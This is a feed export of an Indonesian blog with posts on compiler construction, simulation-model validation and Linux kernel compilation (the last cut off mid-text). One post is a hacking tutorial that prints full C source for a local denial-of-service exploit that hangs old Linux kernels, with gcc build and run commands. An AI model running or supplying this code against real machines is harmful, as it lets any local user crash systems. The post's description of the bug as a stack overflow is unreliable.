href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7970304798329150376' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7970304798329150376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7970304798329150376'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/kecerdasan-buatan.html' title='Kecerdasan Buatan'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/Ryr7wiIob0I/AAAAAAAAADQ/4UdIdy1bFJc/s72-c/lonefaction_sshot_lrg1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-1620078525252814642</id><published>2007-11-02T03:20:00.000-07:00</published><updated>2007-11-02T03:23:51.548-07:00</updated><title type='text'>compile Dalam Bahasa C</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 5 )Meng-compile Eksploit Dalam Bahasa C&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Onno W. Purbo&lt;br /&gt;&lt;br /&gt;Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.&lt;br /&gt;&lt;br /&gt;&lt;div align="left"&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/Ryr6kCIobzI/AAAAAAAAADI/FtGdqwBZ_yg/s320/Personal_C___Compiler2.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128186622670040882" /&gt;&lt;/div&gt;&lt;div align="center"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka &amp;amp; dapat kita lihat menggunakan teks editor biasa pada directory:&lt;br /&gt;&lt;br /&gt;/usr/src/linux&lt;br /&gt;&lt;br /&gt;Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.&lt;br /&gt;&lt;br /&gt;Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.&lt;br /&gt;&lt;br /&gt;/*            [http://b0f.morphed.net] - eth0                */&lt;br /&gt;/*                                                       */&lt;br /&gt;/* Vulnerable&lt;br /&gt;Linux 2.2.12&lt;br /&gt;Linux 2.2.13&lt;br /&gt;Linux 2.2.14&lt;br /&gt;Linux 2.3.99-pre2&lt;br /&gt;&lt;br /&gt;The following exploit code will hang any Linux machine on various&lt;br /&gt;Pentium platforms.&lt;br /&gt;&lt;br /&gt;Note that this does not require any special privileges, and any user&lt;br /&gt;Can compile and run it, so watch out kiddies…&lt;br /&gt;&lt;br /&gt;The send system call immediately puts the kernel in a loop spewing&lt;br /&gt;kmalloc: Size (131076) too large forever&lt;br /&gt;(or until you hit the reset button).&lt;br /&gt;&lt;br /&gt;Apparently UNIX domain sockets are ignoring the&lt;br /&gt;/proc/sys/net/core/wmem_max parameter,&lt;br /&gt;despite the documentation to the contrary.&lt;br /&gt;&lt;br /&gt;[code provided by eth0 from b0f security]&lt;br /&gt;[information provided by Jay Fenlason]&lt;br /&gt;[http://b0f.morphed.net]&lt;br /&gt;[buffer0verfl0w security]&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;sys h=""&gt;&lt;br /&gt;#include &lt;sys h=""&gt;&lt;br /&gt;#include &lt;string h=""&gt;&lt;br /&gt;&lt;br /&gt;char buf[128 * 1024];&lt;br /&gt;&lt;br /&gt;int main ( int argc, char **argv )&lt;br /&gt;{&lt;br /&gt;struct sockaddr SyslogAddr;&lt;br /&gt;int LogFile;&lt;br /&gt;int bufsize = sizeof(buf)-5;&lt;br /&gt;int i;&lt;br /&gt;&lt;br /&gt;for ( i = 0; i &lt; bufsize; i++ )&lt;br /&gt;buf[i] = ‘ ‘+(i%95);&lt;br /&gt;buf[i] = ”;&lt;br /&gt;&lt;br /&gt;SyslogAddr.sa_family = AF_UNIX;&lt;br /&gt;strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)&lt;br /&gt;);&lt;br /&gt;LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );&lt;br /&gt;sendto ( LogFile, buf, bufsize, 0, &amp;amp;SyslogAddr, sizeof(SyslogAddr)&lt;br /&gt;);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.&lt;br /&gt;&lt;br /&gt;Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.&lt;br /&gt;&lt;br /&gt;Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:&lt;br /&gt;&lt;br /&gt;$ gcc eksploit.c –o eksploit&lt;br /&gt;&lt;br /&gt;maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di  beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:&lt;br /&gt;&lt;br /&gt;$ ./eksploit&lt;br /&gt;&lt;br /&gt;Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code &amp;amp; compile dari masing-masing source code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-1620078525252814642?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/1620078525252814642/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=1620078525252814642' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1620078525252814642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/1620078525252814642'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/compile-dalam-bahasa-c.html' title='compile Dalam Bahasa C'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/Ryr6kCIobzI/AAAAAAAAADI/FtGdqwBZ_yg/s72-c/Personal_C___Compiler2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-8091932332562891045</id><published>2007-11-02T02:58:00.002-07:00</published><updated>2007-11-02T03:14:59.502-07:00</updated><title type='text'>Construction Compiler</title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;(Artikel 4)Construction Compiler&lt;/strong&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/Ryr37CIobyI/AAAAAAAAADA/fniNNQSxpRY/s320/compiler.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128183719272148770" /&gt;&lt;br /&gt;&lt;br /&gt;Teknik kompilasi telah lama diberikan di lingkungan pendidikan tinggi bidang komputer di Indonesia. Pembahasan dalam mata kuliah ini biasanya berkisar pada teori automata, teori kompilasi, teori grammar. Praktek teknik kompilasi pun telah diberikan di lingkungan laboratorium, walau biasanya masih terbatas pada demonstrasi hal teori, ataupun sekedar pengenalan kompiler yang ada atau banyak digunakan. Beberapa universitas telah mulai memperkenalkan penggunaan perangkat pembangun kompiler.Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-8091932332562891045?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/8091932332562891045/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=8091932332562891045' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8091932332562891045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/8091932332562891045'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/construction-compiler.html' title='Construction Compiler'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/Ryr37CIobyI/AAAAAAAAADA/fniNNQSxpRY/s72-c/compiler.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-111070548190265486</id><published>2007-11-02T02:50:00.000-07:00</published><updated>2007-11-02T03:18:34.769-07:00</updated><title type='text'>Konstruksi Kompiler</title><content type='html'>&lt;strong&gt;&lt;span&gt;( Artikel  3)&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;Konstruksi Kompiler&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr0MSIobwI/AAAAAAAAACw/AHqAzXQduqc/s320/tsnc.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5128179617578381058" /&gt;&lt;br /&gt;&lt;br /&gt;Telah banyak mahasiswa menggunakan dan memanfaatkan compiler/interpreter, tapi saat ini masih belum banyak muncul nama programmer Indonesia yang terlibat dalam proyek pembuatan compiler/interpreter. Mungkin hanya KILANG nya Prof. Dali S Naga (BASIC Indonesia), yang sempat terdengar, sayang sekarang sudah tidak ada jejaknya. Mungkin merilis KILANG dalam bentuk GPL seperti BWBASIC, adalah suatu langkah menarik untuk terus mengembangkan KILANG ini lebih lanjut.&lt;br /&gt;Memang ada sekelompok programmer Indonesia yang sempat akan merilis bahasa pemrograman "BATAK" tetapi hingga saat ini belum terdengar kembali. Bahasa pemrograman, JAVA, BALI, MADURA, hanyalah namanya saja yang berbau Indoensia, tapi sedikit atau malah tidak ada keterlibatan pengembang dari Indonesia.&lt;br /&gt;Tentu saja akan timbul pertanyaan "apa yang salah dalam pengajaran kompilasi ???" (INGAT SAYA TIDAK INGIN MENDISKREDITKAN SIAPAPUN DALAM PERNYATAAN INI). Hanya mencoba mencari langkah perbaikan yang mungkin bisa diterapkan.&lt;br /&gt;Walaupun sedikit sekali atau nyaris tidak ada "lowongan pekerjaan" yang membutuhkan kemampuan mengembangkan compiler ini (silahkan baca di koran ataupun majalah), bukan berarti pengetahuan itu sama sekali tak dibutuhkan dalam dunia pemrograman sehari-hari. Pada dasarnya pengetahuan pembuatan kompiler (compiler construction) ini merupakan pengetahuan dasar komputasi yang sangat baik sekali. Pengetahuan ini dimanfaatkan pada beragam aplikasi nantinya. Misal teknik parsing, pengenalan pola teks, optimasi kode dan lain sebagainya. Bahkan suatu database engine pun di bagian "front end" selalu menggunakan parsing ini. Pengetahuan tentang kompilasi akan dapat memberikan landasan bagi programmer untuk menyusun program yang efektif dan efisien.&lt;br /&gt;Ketika seseorang melakukan pemrograman, sebetulnya secara tidak sadar dia akan melakukan proses penambahan suatu bahasa. Misal pembuatan suatu fungsi (ataupun prosedur) pada dasarnya merupakan suatu proses "penambahan kosa-kata" dari bahasa pemrograman tersebut. Dari yang tadinya tidak memiliki fungsi tersebut hingga akhirnya ditambahkan suatu "vocabulary" untuk melakukan suatu fungsi tersebut. Untuk itulah pemahaman penyusunan kompiler merupakan suatu dasar yang utama dalam bidang ilmu komputer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-111070548190265486?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/111070548190265486/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=111070548190265486' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/111070548190265486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/111070548190265486'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/artikel-2-konstruksi-kompiler-telah.html' title='Konstruksi Kompiler'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/Ryr0MSIobwI/AAAAAAAAACw/AHqAzXQduqc/s72-c/tsnc.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-402545779850740475</id><published>2007-11-02T02:45:00.000-07:00</published><updated>2007-11-02T02:49:50.752-07:00</updated><title type='text'>Teknik Kompiler</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;(Artikel 2 )Teknik Kompiler&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RyryqSIobvI/AAAAAAAAACo/AhPFLdZyPPM/s320/images1.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128177933951201010" /&gt;&lt;br /&gt;&lt;br /&gt;Delapan teknik yang dapat digunakan untuk men-debug program komputer dari model simulasi:&lt;br /&gt;&lt;br /&gt;Teknik 1:&lt;br /&gt;&lt;br /&gt;Dalam mengembangkan model simulasi, tulis dan debug program komputer dalam bentuk modul atau subprogram.&lt;br /&gt;&lt;br /&gt;Teknik 2:&lt;br /&gt;&lt;br /&gt;Disarankan agar lebih dari satu orang membaca program komputer jika model simulasi yang dikembangkan besar. Penulis program itu sendiri mungkin tidak dapat memberikan kritik yang baik.&lt;br /&gt;&lt;br /&gt;Teknik 3:&lt;br /&gt;&lt;br /&gt;Jalankan simulasi dengan beberapa setting parameter input dan lihat apakah outputnya masuk akal.&lt;br /&gt;&lt;br /&gt;Teknik 4:&lt;br /&gt;&lt;br /&gt;Lakukan “trace”, di mana status sistem yang disimulasi, yaitu: daftar event, variabel status, cacahan statistik, dsb., dicetak setelah masing-masing event terjadi dan dibandingkan dengan perhitungan manual untuk melihat apakah program bekerja sebagaimana mestinya.&lt;br /&gt;&lt;br /&gt;Teknik 5:&lt;br /&gt;&lt;br /&gt;Jika mungkin, model harus dijalankan dengan asumsi-asumsi yang disederhanakan di mana karakteristik yang sebenarnya diketahui atau dapat dihitung dengan mudah.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Teknik 6:&lt;br /&gt;&lt;br /&gt;Pada beberapa model simulasi, akan sangat menolong jika ada animasi output simulasi yang dapat diteliti.&lt;br /&gt;&lt;br /&gt;Teknik 7:&lt;br /&gt;&lt;br /&gt;Tuliskan mean dan varians sampel untuk setiap distribusi probabilitas input simulasi dan bandingkan dengan mean dan varians yang diinginkan (mis., historikal).&lt;br /&gt;&lt;br /&gt;Langkah ini menentukan apakah nilai-nilai input dibangkitkan dengan benar dari distribusi-distribusi tsb.&lt;br /&gt;&lt;br /&gt;Teknik 8:&lt;br /&gt;&lt;br /&gt;Gunakan paket simulasi untuk memperkecil jumlah baris kode yang dibutuhkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pandangan Umum Mengenai Validasi&lt;br /&gt;&lt;br /&gt;1. Ekperimen dengan model simulasi merupakan pengganti dari eksperimen dengan sistem yang ada atau yang diusulkan. Dengan demikian, tujuan ideal dari validasi adalah menjamin bahwa model simulasi cukup baik sehingga dapat digunakan untuk mengambil keputusan bagi sistem.&lt;br /&gt;&lt;br /&gt;2. Kemudahan atau kesulitan proses validasi bergantung pada kompleksitas sistem yang dimodelkan dan apakah versi sistem tersebut sudah ada.&lt;br /&gt;&lt;br /&gt;3. Model simulasi dari sistem yang kompleks hanya dapat merupakan pendekatan sistem yang sebenarnya.&lt;br /&gt;&lt;br /&gt;4. Model simulasi harus selalu dikembangkan untuk sekumpulan tujuan tertentu. Model yang valid untuk satu tujuan belum tentu valid untuk tujuan lainnya.&lt;br /&gt;&lt;br /&gt;5. Catatan asumsi-asumsi model simulasi harus di-update secara teratur, dan akhirnya menjadi laporan akhir.&lt;br /&gt;&lt;br /&gt;6. Model simulasi harus divalidasi relatif terhadap ukuran-ukuran kinerja yang nanatinya dipakai untuk pengambilan keputusan.&lt;br /&gt;&lt;br /&gt;7. Validasi bukan sesuatu yang harus diusahakan setelah model simulasi selesai dikembangkan, melainkan, pengembangan model dan validasi harus dilakukan bersama-sama sepanjang studi simulasi.&lt;br /&gt;&lt;br /&gt;8. Umumnya tidak mungkin melakukan validasi statistik antara data output model dan data output sistem ybs (jika ada), bergantung pada sifat data tsb.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pendekatan Tiga Langkah untuk Mengembangkan Model Simulasi yang Valid dan Credible&lt;br /&gt;&lt;br /&gt;1. Mengembangkan model dengan High Face Validity, yaitu, model yang dipermukaannya tampak masuk akal bagi orang-orang yang memiliki pengetahuan tentang sistem yang dipelajari.&lt;br /&gt;&lt;br /&gt;Pemodel simulasi harus menggunakan semua informasi dari:&lt;br /&gt;&lt;br /&gt;- Wawancara dengan “pakar’ sistem.&lt;br /&gt;&lt;br /&gt;- Observasi sistem.&lt;br /&gt;&lt;br /&gt;- Teori yang ada.&lt;br /&gt;&lt;br /&gt;*&lt;br /&gt;&lt;br /&gt;- Hasil yang relevan dari model simulasi yang mirip.&lt;br /&gt;&lt;br /&gt;*&lt;br /&gt;&lt;br /&gt;- Pengalaman/Intuisi&lt;br /&gt;&lt;br /&gt;*&lt;br /&gt;&lt;br /&gt;2. Menguji Asumsi-asumsi model secara empiris.&lt;br /&gt;&lt;br /&gt;Tujuannya adalah secara kuantitatif menguji asumsi-asumsi yang dibuat pada tahap awal pengembangan model. Salah satu alat bantu yang paling berguna adalah analisis sensitifitas. Cara ini dapat digunakan untuk mennetukan apakah output simulasi berubah secara signifikan ketika nilai parameter input diubah. Cara: dengan menggunakan metode bilangan acak umum.&lt;br /&gt;&lt;br /&gt;3. Menentukan seberapa representatif data output simulasi.&lt;br /&gt;&lt;br /&gt;Jika data output model simulasi memperlihatkan hasil yang “bagus” ketika dibandingkan dengan data output sistem yang sebenarnya atau yang diharapkan, maka model sistem tersebut “valid”.&lt;br /&gt;&lt;br /&gt;Prosedur Statistik untuk Membandingkan Observasi Dunia Nyata dengan Data Output Simulasi&lt;br /&gt;&lt;br /&gt;1. Pendekatan Inspeksi&lt;br /&gt;&lt;br /&gt;Pendekatan inspeksi dasar: model diberi input dengan data acak, dan hasilnya dibandingkan dengan observasi dunia nyata.&lt;br /&gt;&lt;br /&gt;Pendekatan inspeksi korelasi:&lt;br /&gt;&lt;br /&gt;Data input sistem historis Data input sistem historis&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sistem yang sebenarnya Model simulasi&lt;br /&gt;&lt;br /&gt;bandingkan&lt;br /&gt;&lt;br /&gt;Data output sistem Data output model&lt;br /&gt;&lt;br /&gt;2. Pendekatan Interval Konfidensi Berdasarkan Data Independen&lt;br /&gt;&lt;br /&gt;3. Pendekatan Time-Series&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EKSPERIMEN DISAIN&lt;br /&gt;&lt;br /&gt;Untuk setiap disain sistem yang akan disimulasikan, harus dibuat keputusan untuk isu-isu seperti:&lt;br /&gt;&lt;br /&gt;- Kondisi awal untuk menjalankan simulasi.&lt;br /&gt;&lt;br /&gt;- Lama periode warmup (jika ada).&lt;br /&gt;&lt;br /&gt;- Lama jalannya simulasi.&lt;br /&gt;&lt;br /&gt;- Banyaknya simulasi-simulasi independen (replikasi) untuk setiap alternatif.&lt;br /&gt;&lt;br /&gt;Tipe-tipe simulasi berdasarkan analisis output:&lt;br /&gt;&lt;br /&gt;1. Terminating simulation&lt;br /&gt;&lt;br /&gt;2. Nonterminating simulation:&lt;br /&gt;&lt;br /&gt;a. Steady-state parameters&lt;br /&gt;&lt;br /&gt;b. Steady-state cycle parameters&lt;br /&gt;&lt;br /&gt;c. Other parameters.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-402545779850740475?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/402545779850740475/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=402545779850740475' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/402545779850740475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/402545779850740475'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/teknik-kompiler.html' title='Teknik Kompiler'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RyryqSIobvI/AAAAAAAAACo/AhPFLdZyPPM/s72-c/images1.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7097738853961033154</id><published>2007-11-02T01:55:00.001-07:00</published><updated>2007-11-02T02:41:09.478-07:00</updated><title type='text'>CompiLer</title><content type='html'>&lt;span style="color:#ff0000;"&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;(Artikel 1 )Kompail Kernel&lt;br /&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/span&gt;&lt;img src="http://4.bp.blogspot.com/_eTjLkcqj9WM/RyrwWyIobtI/AAAAAAAAACY/atrdOnZwyj0/s200/images.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128175399920496338" /&gt;&lt;br /&gt;&lt;br /&gt;Seperti yang telah diketahui, kernel adalah program yang dimuat pada&lt;br /&gt;saat boot yang berfungsi sebagai interface antara user-level program&lt;br /&gt;dengan hardware. Secara teknis linux hanyalah sebuah kernel. Pogram&lt;br /&gt;lain seperti editor, kompiler dan manajer yang disertakan dalam paket&lt;br /&gt;(SuSE, RedHat,Mandrake,dll) hanyalah distribusi yang melengkapi&lt;br /&gt;kernel menjadi sebuah sistem operasi yang lengkap. Kernel membutuhkan&lt;br /&gt;konfigurasi agar dapat bekerja secara optimal.&lt;br /&gt;&lt;br /&gt;Konfigurasi ulang dilakukan jika ada device baru yang belum dimuat.&lt;br /&gt;Setelah melakukan konfigurasi, lakukan kompilasi untuk mendapatkan&lt;br /&gt;kernel yang baru. Tahap ini memerlukan beberapa tool, seperti&lt;br /&gt;kompiler dsb. Kompile kernel ini dilakukan jika ingin mengupdate&lt;br /&gt;kernel dengan keluaran terbaru. Kernel ini mungkin lebih baik dari&lt;br /&gt;pada yang lama.&lt;br /&gt;&lt;br /&gt;Tahap kompilasi ini sangat potensial untuk menimbulkan kesalahan atau&lt;br /&gt;kegagalan, oleh karena itu sangat disarankan untuk mempersiapkan&lt;br /&gt;emergency boot disk, sebab kesalahan umumnya mengakibatkan sistem mogok.&lt;br /&gt;&lt;br /&gt;Ada beberapa langkah yang umumnya dilakukan dalam mengkompilasi&lt;br /&gt;kernel, yaitu :&lt;br /&gt;1. Download kernel&lt;br /&gt; Tempat untuk mendownload kernel ada di beberapa situs internet.&lt;br /&gt; Silakan dicari sendiri. Tetapi biasanya di "kambing.vlsm.org" ada&lt;br /&gt; versi-versi kernel terbaru. Source kernel tersebut biasanya dalam&lt;br /&gt; format linux-X.X.XX.tar.gz, di mana X.X.XX menunjukkan nomor versi&lt;br /&gt; kernel. Misalnya 2.6.11. Nomor tersebut dibagi menjadi tiga&lt;br /&gt; bagian, yaitu:&lt;br /&gt; - Major number&lt;br /&gt; - Minor number&lt;br /&gt; - Revision number&lt;br /&gt; Pada contoh versi kernel di atas (2.6.40), angka 2 menunjukkan&lt;br /&gt; major number. Angka ini jarang berubah. Perubahan angka ini&lt;br /&gt; menandakan adanya perubahan besar (upgrade) pada kernel. Kemudian&lt;br /&gt; angka 6 menunjukkan minor number. Angka ini menunjukkan&lt;br /&gt; stabilitas. Angka genap (0,2,4,6,dst) menunjukkan kernel tersebut&lt;br /&gt; telah stabil. Angka ganjil menandakan bahwa kernel tersebut dalam&lt;br /&gt; tahap pengembangan. Kernel ganjil mengandung experimental-code&lt;br /&gt; atau feature terbaru yang ditambahkan leh developernya. Kernel&lt;br /&gt; genap pada saat dirilis tidak ada penambahan lagi dan dianggap&lt;br /&gt; sudah stabil. Percobaan terhadap feature-featur terbaru biasanya&lt;br /&gt; dilakukan pada kernel dengan nomor minor yang ganjil. Dua angka&lt;br /&gt; terakhir (11) menunjukkan nomor revisi. Ini menandakan current&lt;br /&gt; path versi tersebut. Selama tahap pengambangan, nomor ini cepat&lt;br /&gt; berubah. Kadang sampai dua kali dalam seminggu.&lt;br /&gt;&lt;br /&gt;2. Kompilasi Kernel&lt;br /&gt; Kompile akan 